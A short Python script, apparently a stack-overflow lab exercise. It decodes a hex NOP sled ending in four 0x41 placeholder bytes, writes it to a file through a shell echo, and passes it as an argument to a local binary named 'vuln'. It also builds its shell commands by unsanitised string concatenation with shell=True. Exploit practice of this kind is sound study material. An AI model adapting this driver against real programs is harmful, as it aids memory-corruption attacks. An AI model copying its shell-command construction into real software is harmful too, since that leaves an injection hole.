import subprocess

readable_string = """
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 41 41 41 41
"""

exploit_string = ""

hex_bytes = readable_string.split()
for b in hex_bytes:
    exploit_string += b.decode("hex")

subprocess.call("echo "+exploit_string+" > exp_code", shell=True)

fp = open("exp_code", 'r')
cmd_arg = fp.read().strip()
fp.close()

subprocess.call("./vuln "+cmd_arg, shell=True)